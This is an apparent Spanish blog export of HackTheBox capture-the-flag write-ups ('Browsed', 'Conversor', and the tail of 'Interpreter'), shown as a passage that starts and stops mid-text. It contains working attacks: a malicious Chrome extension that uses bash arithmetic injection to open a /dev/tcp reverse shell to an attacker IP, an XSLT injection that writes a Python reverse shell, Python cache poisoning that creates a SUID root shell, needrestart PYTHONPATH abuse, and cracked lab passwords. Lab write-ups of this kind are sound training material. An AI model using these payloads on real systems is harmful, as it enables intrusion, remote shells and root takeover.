http://interpreter.htb:8888/addPatient -H \u0026#34;Content-Type: application/xml\u0026#34; -d @payload.xml Patient 0 0 (M), 36 years old, received from htb at now Volvemos a SSH:\n1 2 sedric@interpreter:/tmp$ ./rootbash -p rootbash-5.2# Y tenemos root.\n","date":"23 de febrero de 2026","externalUrl":null,"permalink":"/writeups/interpreter/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: HL7, Mirth, CVE Público, MariaDB, Red Sanitaria","title":"HackTheBox - Interpreter","type":"writeups"},{"content":"","date":"23 de febrero de 2026","externalUrl":null,"permalink":"/tags/hl7/","section":"Tags","summary":"","title":"HL7","type":"tags"},{"content":"","date":"23 de febrero de 2026","externalUrl":null,"permalink":"/tags/local-service/","section":"Tags","summary":"","title":"Local Service","type":"tags"},{"content":"","date":"23 de febrero de 2026","externalUrl":null,"permalink":"/tags/mirth/","section":"Tags","summary":"","title":"Mirth","type":"tags"},{"content":"","date":"18 de febrero de 2026","externalUrl":null,"permalink":"/tags/bash-injection/","section":"Tags","summary":"","title":"Bash Injection","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. 8h Datos Iniciales: 10.129.5.12 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA) |_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Browsed |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TCP/22: SSH, versión potencialmente vulnerable. CVE-2024-6387: RegreSSHion -\u0026gt; Unauthenticated RCE. Complejo de explotar, puede requerir un tiempo largo. CVE-2023-51385: Command Injection TCP/80: nginx/1.24.0, versión estable y con vulnerabilidades no relevantes (corrupción de memoria, DDoS, crasheos\u0026hellip;) Puerto 80 # Enumeración # Al entrar, nos encontramos una página que ofrece varias extensiones de navegador.\nAunque no se nos haya redirigido a ningún vhost en función del dominio, como es normal en algunas máquinas, dado que arriba a la izquierda aparece el dominio browsed.htb lo añado a /etc/hosts y analizo subdominios, aunque pasado un rato no se encuentra nada:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 gobuster vhost --url http://browsed.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://browsed.htb [+] Method: GET [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] User Agent: gobuster/3.8.2 [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== # Vacío Buscamos directorios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ gobuster dir -u http://browsed.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://browsed.htb [+] Method: GET [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 =============================================================== Starting gobuster in directory enumeration mode =============================================================== images (Status: 301) [Size: 178] [--\u0026gt; http://browsed.htb/images/] assets (Status: 301) [Size: 178] [--\u0026gt; http://browsed.htb/assets/] Como no parece haber mucho relevante, antes de ponernos a mirar dentro de assets, miro a qué podemos acceder desde la página principal, y qué podemos deducir de ello:\nNo hay robots.txt El botón Upload Extension apunta a upload.php Podríamos intentar subir un php malicioso que nos dé un reverse shell Podríamos buscar más archivos php en el directorio En browsed.htb/samples vemos 3 extensiones que podemos descargar, cuyos botones de descarga apuntan a archivos .zip, quizás valga la pena buscar más zips. Tras otro análisis con gobuster, no encontramos nada nuevo, así que nos centramos en la posibilidad de subir archivos .zip con extensiones de navegador.\nSubida de archivos .zip # Si probamos, antes de intentar crear una extensión maliciosa, a descargar y subir uno de los .zip que ofrecen, p.ej el de fontify.zip:\nSi miramos detalladamente el log del error, encontraremos datos relevantes:\n1 2 3 4 5 6 7 8 9 10 ... browsedinternals.htb/assets/css/index.css?v=1.24.5 [2109:2126:0217/184915.527985:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5 [2109:2126:0217/184915.530912:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg [2079:2079:0217/184915.534599:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [2079:2079:0217/184915.534773:VERBOSE1:idle_linux.cc(129)] org.mate.ScreenSaver D-Bus service does not exist ... [2079:2090:0217/184915.534922:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are \u0026#34;tcp\u0026#34; and on UNIX \u0026#34;unix\u0026#34;) [2109:2126:0217/184915.539124:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/main.css [2109:2126:0217/184915.539488:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic01.jpg Entre todo este texto, destacan:\nhttp://localhost/images/pic01.jpg: Posiblemente haya un servidor web en escucha en localhost en el servidor http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5: Un dominio nuevo, browsedinternals.htb, que posiblemente esté usando Gitea. Añadimos browsedinternals.htb a /etc/hosts BrowsedInternals - Gitea # Entramos y, como esperábamos, encontramos una instancia de Gitea. Si vamos a Explore, encontramos un repo MarkdownPreview de larry.\nApuntamos posible username del SO: larry Entramos a su repo. En el repo, encontramos varios archivos: Hay 2 commits, pero no cambian en nada relevante, así que nos clonamos el actual y miramos qué hay.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ git clone http://browsedinternals.htb/larry/MarkdownPreview.git \u0026amp;\u0026amp; cd MarkdownPreview Cloning into \u0026#39;MarkdownPreview\u0026#39;... $ tree . ├── app.py ├── backups │ ├── data_backup_20250317_121551.tar.gz │ └── data_backup_20250317_123946.tar.gz ├── files │ └── cf23093c09e7478382e716e31d06b3ef.html ├── log │ ├── routine.log │ └── routine.log.gz ├── README.md └── routines.sh Vamos mirando los archivos de uno en uno.\nbackups, log, files # En backups vemos dos archivos .tar.gz:\n1 2 $ ls data_backup_20250317_121551.tar.gz data_backup_20250317_123946.tar.gz Si los descomprimimos veremos que no hay nada, ni archivos ocultos que puedan servir de algo.\nEn files hay un archivo cf23093c09e7478382e716e31d06b3ef.html que contiene:\n1 2 \u0026lt;p\u0026gt;a zz\u0026lt;/p\u0026gt; hashid detecta el nombre del archivo (sin el .html) como un posible hash (MD2,MD5,MD4\u0026hellip;), posiblemente no sea nada. CrackStation no consigue crackearlo, si es que significa algo.\nEn log hay un archivo routine.log y uno routing.log.gz, ninguno de los dos contiene nada relevate.\nroutines.sh # Encontramos varias variables de entorno que confirman la existencia de un usuario larry:\n1 2 3 4 5 #!/bin/bash ROUTINE_LOG=\u0026#34;/home/larry/markdownPreview/log/routine.log\u0026#34; BACKUP_DIR=\u0026#34;/home/larry/markdownPreview/backups\u0026#34; ... Según el propio larry, el programa, al ejecutarlo, se encarga de una de las siguientes en función de $1:\nLimpiar archivos temporales en /home/larry/markdownPreview/tmp Hacer un backup de los datos de /home/larry/markdownPreview/data en un .tar.gz ubicado en /home/larry/markdownPreview/backups Rotar los logs de /home/larry/markdownPreview/tmp Guardar la info del sistema en /home/larry/markdownPreview/backups Si el parámetro $1 no está entre 0 y 3 (o no es un número), guarda $1 en $ROUTINE_LOG La elección se hace en función de la siguiente comparación:\n1 2 3 4 5 6 ... if [[ \u0026#34;$1\u0026#34; -eq 0 ]]; then... # Routine 0: Clean temp files if [[ \u0026#34;$1\u0026#34; -eq 1 ]]; then... # Routine 1: Backup data if [[ \u0026#34;$1\u0026#34; -eq 2 ]]; then... # Routine 2: Rotate logs if [[ \u0026#34;$1\u0026#34; -eq 3 ]]; then... # Routine 3: System info dump else... Hay un punto importante, si el primer valor ($1) pasado a routines.sh no es 0, 1, 2 o 3 (else...), el script hará lo siguiente:\n1 echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] $1\u0026#34; \u0026gt;\u0026gt; \u0026#34;$ROUTINE_LOG\u0026#34; Sin ningún tipo de filtro, routines.sh meterá a /home/larry/markdownPreview/log/routine.log nuestro argumento, así que, si conseguimos una forma de pasarle un argumento arbitrario, podríamos conseguir crear un archivo potencialmente peligroso.\napp.py # Aplicación de Flask con varios endpoints, entre ellos, el más relevante es /routines/\u0026lt;rid\u0026gt;:\n1 2 3 4 5 6 @app.route(\u0026#39;/routines/\u0026lt;rid\u0026gt;\u0026#39;) def routines(rid): # Call the script that manages the routines # Run bash script with the input as an argument (NO shell) subprocess.run([\u0026#34;./routines.sh\u0026#34;, rid]) return \u0026#34;Routine executed !\u0026#34; El endpoint toma \u0026lt;rid\u0026gt; y se lo pasa a routines.sh como argumento, aquí volvemos a la función anterior. El $1 de routines.sh es el \u0026lt;rid\u0026gt; que nosotros elegimos, así que tenemos cierto control sobre /home/larry/markdownPreview/log/routine.log.\nAl final del archivo vemos:\n1 2 3 # The webapp should only be accessible through localhost if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;127.0.0.1\u0026#39;, port=5000) Podemos estar casi seguros de que el servicio en localhost:5000 que hemos visto en los logs corresponde a este app.py.\nIntento de exploit y explicación # Una vez que conocemos cómo funciona la app de localhost, planeo lo siguiente:\nLas extensiones que sube el usuario se ejecutan en el navegador del servidor Podemos hacer que una extensión visite http://127.0.0.1:5000/routines/\u0026lt;X\u0026gt;, lo que hará que \u0026lt;X\u0026gt; se añada a home/larry/markdownPreview/log/routine.log Si de algún modo conseguimos que un html de una extensión acceda a ese archivo, podríamos llegar a conseguir un XSS. Problema: no sirve de mucho, y tampoco podemos hacerlo, porque incluso subiendo un .zip con un html falso que sea un soft link y apunte a /.../routine.log, al descomprimirlo la página parece limpiar el link, o al menos no vemos su output en el log. Arithmetic Expression Injection - Explicación # Pasado un rato largo buscando soluciones, miro qué más puede llegar a ser vulnerable en el script, y tras un rato, encuentro que es posible realizar una Arithmetic Expression Injection, que consiste en lo siguiente:\nEn cualquiera de las comprobaciones de routines.sh se realiza esto:\n1 if [[ \u0026#34;$1\u0026#34; -eq 0 ]]; then... # O -eq 1, 2, 3... Bash, por dentro, tiene un evaluador aritmético que se activa en estructuras como ((...)), $((...)), let ... u otras. P.ej ((x = 2 + 3)) se evalúa automáticamente y hace que x tenga el valor 5, también funciona con comandos. En la estructura [[...]], todo esto por defecto no pasa.\nLo que hace vulnerable al script es que, cuando se usa -eq, bash no compara strings, interpreta ambos operandos como expresiones aritméticas, aunque estén entre [[...]]. Esto hace que se pueda pasar como $1 un array cuyo índice ha de calcularse, p.ej:\narray[$(\u0026lt;Comando de Reverse Shell\u0026gt;)] Bash detectará array[...], tendrá que evaluar el índice, verá que contiene $(...), lo procesará y ejecutará, y luego intentará usar el resultado como índice, pero el daño ya estará hecho. Arithmetic Expression Injection - Explotación # Ahora que conocemos la vulnerabilidad de la app, necesitamos crear una extensión de navegador que acceda a http://localhost:5000/routines/arr[$(bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.12/4444 0\u0026gt;\u0026amp;1)] mientras escuchamos en el puerto.\nHacemos una extensión simple con 3 archivos, sacando la base de Internet y modificándola:\nmanifest.json tiene la siguiente forma:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { \u0026#34;manifest_version\u0026#34;: 3, \u0026#34;name\u0026#34;: \u0026#34;Extension completamente segura\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0\u0026#34;, \u0026#34;permissions\u0026#34;: [\u0026#34;tabs\u0026#34;, \u0026#34;webRequest\u0026#34;, \u0026#34;webRequestBlocking\u0026#34;], \u0026#34;host_permissions\u0026#34;: [\u0026#34;\u0026lt;all_urls\u0026gt;\u0026#34;], \u0026#34;background\u0026#34;: { \u0026#34;service_worker\u0026#34;: \u0026#34;background.js\u0026#34; }, \u0026#34;permissions\u0026#34;: [\u0026#34;tabs\u0026#34;, \u0026#34;webRequest\u0026#34;, \u0026#34;webRequestBlocking\u0026#34;], \u0026#34;host_permissions\u0026#34;: [\u0026#34;\u0026lt;all_urls\u0026gt;\u0026#34;], \u0026#34;content_scripts\u0026#34;: [ { \u0026#34;matches\u0026#34;: [\u0026#34;\u0026lt;all_urls\u0026gt;\u0026#34;], \u0026#34;js\u0026#34;: [\u0026#34;content.js\u0026#34;], \u0026#34;run_at\u0026#34;: \u0026#34;document_start\u0026#34; } ] } content.js y background.js tienen exactamente el mismo código (por si falla uno):\n1 2 3 4 5 6 7 8 9 10 11 const TARGET_BASE = \u0026#39;http://127.0.0.1:5000/routines/\u0026#39;; const ATTACKER_IP = \u0026#34;10.10.14.12\u0026#34;; const ATTACKER_PORT = \u0026#34;4444\u0026#34;; const REV_SHELL = `bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0\u0026gt;\u0026amp;1\u0026#39;`; const B64_PAYLOAD = btoa(REV_SHELL); const BASH_INJECTION = `arr[$(echo ${B64_PAYLOAD} | base64 -d | bash)]`; const FINAL_URL = TARGET_BASE + encodeURIComponent(BASH_INJECTION); fetch(FINAL_URL, { method: \u0026#39;GET\u0026#39;, mode: \u0026#39;no-cors\u0026#39;, cache: \u0026#39;no-cache\u0026#39;}); Los comprimimos y subimos el zip mientras escuchamos en el puerto 4444:\n1 2 3 4 5 6 7 8 9 $ penelope -i 10.10.14.12 [+] Listening for reverse shells on 10.10.14.12:4444 ➤ Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Got reverse shell from browsed~10.129.5.12-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Got reverse shell from browsed~10.129.5.12-Linux-x86_64 Assigned SessionID \u0026lt;2\u0026gt; [+] Got reverse shell from browsed~10.129.5.12-Linux-x86_64 Assigned SessionID \u0026lt;3\u0026gt; # Vemos que, como content.js y background.js hacían lo mismo, han llegado incluso varios revshell. larry@browsed:~/markdownPreview$ Privesc # Lo primero que vemos en el directorio .ssh de larry al entrar es una clave pivada id_ed25519, la descargamos para poder acceder por ssh más adelante.\nEjecutamos sudo -l y vemos que larry puede ejecutar como root lo siguiente:\n1 2 3 4 5 6 $ sudo -l Matching Defaults entries for larry on browsed: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User larry may run the following commands on browsed: (root) NOPASSWD: /opt/extensiontool/extension_tool.py Antes de ir a por el script, ejecutamos LinPEAS. Destacan varias cosas:\nSudo version 1.9.15p5: CVE-2025-32463 - Chroot-to-Root. Tras probar con un exploit, no parece funcionar (necesitamos credenciales de larryy) Puertos locales abiertos: 1 2 3 4 tcp LISTEN 0 4096 127.0.0.1:3000 #browsedinternals.htb tcp LISTEN 0 128 127.0.0.1:5000 #app.py tcp LISTEN 0 70 127.0.0.1:33060 #MySQL? tcp LISTEN 0 151 127.0.0.1:3306 #MySQL? Checking if PAM loads pam_cap.so: /etc/pam.d/common-auth:25:auth optional pam_cap.so Tras mirar en los puertos de MySQL sin éxito, al no tener contraseña, vamos a por el script de python que podemos ejecutar con sudo.\nSe trata de un programa encargado de:\nCambiar la versión de una extensión -\u0026gt; No vulnerable Comprimir en un .zip archivos de un directorio fuente -\u0026gt; No vulnerable Limpiar archivos temporales -\u0026gt; No vulnerable Como no veo nada vulnerable, miramos el directorio del script por si hay algo relevante. No podemos hacer Library Hijacking porque no tenemos privilegios de escritura en el directorio del script:\n1 2 3 4 5 6 $ ls -al /opt total 16 drwxr-xr-x 4 root root 4096 Aug 17 2025 . drwxr-xr-x 23 root root 4096 Jan 6 10:28 .. drwxrwxr-x 9 root root 4096 Mar 23 2025 chrome-linux64 drwxr-xr-x 5 root root 4096 Feb 18 21:47 extensiontool Pero si nos fijamos, dentro del directorio extensiontool tenemos permisos de escritura para la carpeta __pycache__:\n1 2 3 4 5 6 7 8 9 $ ls -al /opt/extensiontool total 28 drwxr-xr-x 5 root root 4096 Feb 18 21:47 . drwxr-xr-x 4 root root 4096 Aug 17 2025 .. drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions -rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py -rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py drwxrwxrwx 2 root root 4096 Feb 18 22:00 __pycache__ drwxr-xr-x 2 root root 4096 Feb 18 21:47 temp Tras buscar qué nos permite este permiso de escritura, veo que es posible realizar un ataque de python cache poisoning. Sabemos que la versión de python usada es la 3.12 (aparece en el shebang del script), así que primero creamos un exploit y lo compilamos a bytecode de python:\n1 2 3 4 5 6 larry@browsed:/tmp$ cat exploit.py import os os.system(\u0026#34;cp /bin/bash /tmp/rootbash \u0026amp;\u0026amp; chmod +s /tmp/rootbash\u0026#34;) larry@browsed:/tmp$ python3.12 -m py_compile exploit.py Miramos qué librerías usa el programa extension_tool.py:\n1 2 3 4 5 6 7 8 9 #!/usr/bin/python3.12 import json import os from argparse import ArgumentParser from extension_utils import validate_manifest, clean_temp_files import zipfile EXTENSION_DIR = \u0026#39;/opt/extensiontool/extensions/\u0026#39; ... Aquí destaca extension_utils, que proviene exactamente del archivo extension_utils.py del mismo directorio, una librería custom. Cuando python inicie el programa, hará lo siguiente:\nAl llegar a from extension_utils..., buscará extension_utils.py en el mismo directorio (por el orden de carga por defecto de python). Mirará si existe una versión precompilada en __pycache__ Si el .pyc existe, comparará la cabecera del .pyc con los metadatos del .py real. Si coinciden, ejecutará el .pyc directamente. Así que primero compilamos un .pyc original para tener una cabecera \u0026ldquo;buena\u0026rdquo;:\n1 2 3 larry@browsed:/opt/extensiontool$ python3.12 -m py_compile extension_utils.py larry@browsed:/opt/extensiontool$ ls __pycache__/ extension_utils.cpython-312.pyc Ahora usamos el siguiente script sacado de aquí que inyecta el bytecode malicioso en el de la librería, preservando las cabeceras:\n1 2 3 4 5 6 7 8 9 larry@browsed:/tmp$ cat poison.py # poison.py path_to_real_py = \u0026#34;/opt/extensiontool/extension_utils.py\u0026#34; path_to_my_pyc = \u0026#34;/tmp/__pycache__/exploit.cpython-312.pyc\u0026#34; target_pyc = \u0026#34;/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc\u0026#34; import os import struct ... Y lo ejecutamos:\n1 2 larry@browsed:/tmp$ python3.12 poison.py [+] Malicious PYC poisoned with correct metadata! Ahora ejecutamos el programa con sudo:\n1 2 3 4 5 larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py Traceback (most recent call last): File \u0026#34;/opt/extensiontool/extension_tool.py\u0026#34;, line 5, in \u0026lt;module\u0026gt; from extension_utils import validate_manifest, clean_temp_files ImportError: cannot import name \u0026#39;validate_manifest\u0026#39; from \u0026#39;extension_utils\u0026#39; (/opt/extensiontool/extension_utils.py) Miramos /tmp:\n1 2 3 4 5 6 7 larry@browsed:/tmp$ ls -al total 1496 -rw-rw-r-- 1 larry larry 76 Feb 18 22:53 exploit.py -rw-rw-r-- 1 larry larry 965 Feb 18 23:40 poison.py drwxrwxr-x 2 larry larry 4096 Feb 18 23:25 __pycache__ -rwsr-sr-x 1 root root 1446024 Feb 18 23:43 rootbash ... Ejecutamos nuestro nuevo binario de bash con -p\nDato realmente interesante Desde hace años, el binario de bash está programado para detectar automáticamente si se está ejecutando con el bit SUID activado por un usuario distinto al dueño. Al ver que usuario y dueño no son el mismo, asume que es un riesgo de seguridad y rebaja sus privilegios. -p le hace no rebajarlos.\n1 2 3 larry@browsed:/tmp$ ./rootbash -p rootbash-5.2$ whoami root Y tenemos root.\n","date":"18 de febrero de 2026","externalUrl":null,"permalink":"/writeups/browsed/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Chrome Extensions, Bash Injection, Python Cache Poisoning","title":"HackTheBox - Browsed","type":"writeups"},{"content":"","date":"18 de febrero de 2026","externalUrl":null,"permalink":"/tags/python-cache-poisoning/","section":"Tags","summary":"","title":"Python Cache Poisoning","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~1.5h Datos Iniciales: 10.129.4.131 Nmap Scan # Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA) |_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://conversor.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP Añadimos conversor.htb a /etc/hosts\nComo la versión de SSH no es vulnerable y no hay nada más expuesto, vamos a http directos.\nHTTP - 80 # Si entramos a http://conversor.htb veremos un panel de login.\nAl analizar con whatweb no vemos nada de info nueva:\n1 2 $ whatweb http://conversor.htb http://conversor.htb [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.4.131], RedirectLocation[/login], Title[Redirecting...] Como podemos registrarnos, lo hacemos. P.ej, con credenciales username:password. Ahora encontraremos un panel que nos permite subir archivos XML que sean output de análisis nmap, y una plantilla XSLT, y la página procesará ambos y nos devolverá un archivo más estético. P.ej, si subimos el análisis del propio servidor y la plantilla que nos dan:\nQué es XSLT? XSLT es un lenguaje diseñado para transformar documentos XML. Si tienes datos en crudo en xml, y quieres presentarlos como página web (p.ej HTML, como Conversor), el archivo XSLT contiene las instrucciones de las transformaciones que han de hacerse al formato XML. El problema de XSLT es que es Turing completo, es decir, no es solo un lenguaje de \u0026ldquo;formato\u0026rdquo;, sino que, teóricamente, puede hacer tanto como Python o C. Que Conversor permita subir archivos xslt propios abre la puerta a una potencial inyección XSLT.\nReverse Shell - XSLT Injection # Subimos un archivo de reverse shell XSLT:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;xsl:stylesheet xmlns:xsl=\u0026#34;http://www.w3.org/1999/XSL/Transform\u0026#34; xmlns:ptswarm=\u0026#34;http://exslt.org/common\u0026#34; extension-element-prefixes=\u0026#34;ptswarm\u0026#34; version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;xsl:template match=\u0026#34;/\u0026#34;\u0026gt; \u0026lt;ptswarm:document href=\u0026#34;/var/www/conversor.htb/scripts/test2.py\u0026#34; method=\u0026#34;text\u0026#34;\u0026gt; import os os.system( \u0026#34;python3 -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\u0026#34;10.10.XX.XX\\\u0026#34;,XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\u0026#34;/bin/sh\\\u0026#34;,\\\u0026#34;-i\\\u0026#34;])\u0026#39;\u0026#34; ) \u0026lt;/ptswarm:document\u0026gt; \u0026lt;/xsl:template\u0026gt; \u0026lt;/xsl:stylesheet\u0026gt; Y mientras tanto, con un puerto en escucha:\n1 2 3 4 5 6 7 $ penelope -i 10.10.14.54 [+] Listening for reverse shells on 10.10.14.54:4444 ➤ Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! www-data@conversor:~$ Al entrar, lo primero que encuentro relevante es un archivo:\n1 2 3 4 5 6 7 www-data@conversor:~/conversor.htb$ ls __pycache__/ app.cpython-310.pyc www-data@conversor:~/conversor.htb$ strings __pycache__/app.cpython-310.pyc ... C0nv3rs0rIsthek3y29z(/var/www/conversor.htb/instance/users.db # Posible contraseña? Parece un archivo que puede contener credenciales. Tras una búsqueda, descubro que es bytecode de Python que puede descompilarse fácilmente, así que lo copio a mi máquina y lo descompilo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ./pycdas app.pyc app.pyc (Python 3.10) [Code] File Name: /var/www/conversor.htb/app.py Object Name: \u0026lt;module\u0026gt; Arg Count: 0 Pos Only Arg Count: 0 KW Only Arg Count: 0 Locals: 0 Stack Size: 5 Flags: 0x00000040 (CO_NOFREE) [Names] ... 76 LOAD_CONST 3: \u0026#39;C0nv3rs0rIsthek3y29\u0026#39; De nuevo, encontramos la contraseña, confirmando que estaba completa. Probamos a cambiar de usuario con su fismathack y su root, pero no da resultado.\nAhora nos copiamos instance/users.db y lo analizamos con sqlite3:\n1 2 3 4 5 6 7 8 $ sqlite3 users.db SQLite version 3.46.1 2024-08-13 09:16:08 Enter \u0026#34;.help\u0026#34; for usage hints. sqlite\u0026gt; .tables files users sqlite\u0026gt; select * from users; 1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec 5|username|5f4dcc3b5aa765d61d8327deb882cf99 # Mi usuario, cuya contraseña es password Dado que sabemos que mi contraseña es password, probamos a ver qué hash será:\n1 2 $ echo -n \u0026#34;password\u0026#34; | md5sum 5f4dcc3b5aa765d61d8327deb882cf99 Efectivamente, coincide con la de la DB, confirmando que la otra también estará en MD5 (Y sin salt). Probamos a meter el hash en crackstation:\nConfirmando que la contraseña de fismathack es Keepmesafeandwarm. Probamos a hacer SSH:\n1 2 3 4 5 6 7 8 9 10 11 $ ssh fismathack@conversor.htb The authenticity of host \u0026#39;conversor.htb (10.129.4.135)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is: SHA256:xCQV5IVWuIxtwatNjsFrwT7VS83ttIlDqpHrlnXiHR8 This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;conversor.htb\u0026#39; (ED25519) to the list of known hosts. fismathack@conversor.htb\u0026#39;s password: Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64) Last login: Mon Feb 16 17:38:27 2026 from 10.10.14.54 fismathack@conversor:~$ SSH - Privesc # Al entrar con SSH, lo primero que comprobamos son los privilegios sudo:\n1 2 3 4 5 6 $ sudo -l Matching Defaults entries for fismathack on conversor: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty User fismathack may run the following commands on conversor: (ALL : ALL) NOPASSWD: /usr/sbin/needrestart Mirando info sobre needrestart:\nneedrestart is a tool that probes your system to see if either the system itself or some of its services should be restarted. That last part is the one of interest in this document. Notably, a service is considered as needing to be restarted if one of its processes is using a shared library whose initial file isn\u0026rsquo;t on the system anymore (for instance, if it has been overwritten by a new version as part of a package update).\nY comprobamos versión:\n1 2 $ needrestart --version needrestart 3.7 Encontramos rápidamente varios CVE relacionados a needrestart:\nCVE-2024-48990: Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.\nProbamos a ejecutar un exploit formado por 3 elementos: e.py, lib.c y start.sh:\n1 2 $ ./start.sh ./start.sh: line 7: gcc: command not found Como gcc no está instalado, no podemos usarlo directamente, pero sí podemos modificarlo para que funcione solo con python, quitando el .c. Antes de modificarlo, algunos datos relevantes:\nimportlib es la librería de python que permite importar otras librerías. Normalmente, esta librería Python la carga desde las librerías del sistema (/usr/lib/...). Si nosotros especificamos una variable de entorno PYTHONPATH, python irá primero a buscar las librerías ahí, y luego, si no las encuentra, seguirá su orden de búsqueda habitual. Al importar una carpeta como librería en Python, este busca dentro de la carpeta un archivo __init__.py. Si el archivo existe, Python ejecuta todo su contenido automáticamente antes de hacer nada. Un proceso de python puede estar ejecutándose en un venv, usando librerías del sistema, con un PYTHONPATH custom, etc. Y como needrestart, para poder comprobar de forma fiable las librerías del proceso, necesita \u0026ldquo;ver lo mismo\u0026rdquo; que este, lo que hace por defecto es copiar algunas las variables de entorno de tal proceso. El problema llega cuando copia algunas (como PYTHONPATH) sin sanitizar. Con todo esto, podemos especificar PYTHONPATH=., crear un directorio local importlib y, dentro de este, un __init__.py malicioso. Entonces:\nYa no necesitamos los archivos lib.c y start.sh del exploit __init__.py se encarga de copiar bash a /tmp/poc y darle permisos SUID. e.py se encarga de borrar trazas anteriores y de mantenerse en escucha hasta que exista el archivo /tmp/poc Cuando ejecutemos sudo needrestart, este, por cada proceso del sistema, irá mirando si las librerías son \u0026ldquo;viejas\u0026rdquo; y copiaando las variables de entorno. Cuando llegue a nuestro e.py en ejecución, tomará las variables, entre las que estará PYTHONPATH=., que también copiará. Al copiar la librería, cargará el __init__.py de dentro, que contiene el código malicioso que creará /tmp/poc (copia de bash). Cuando lo cree, e.py lo detectará y saldrá del bucle, 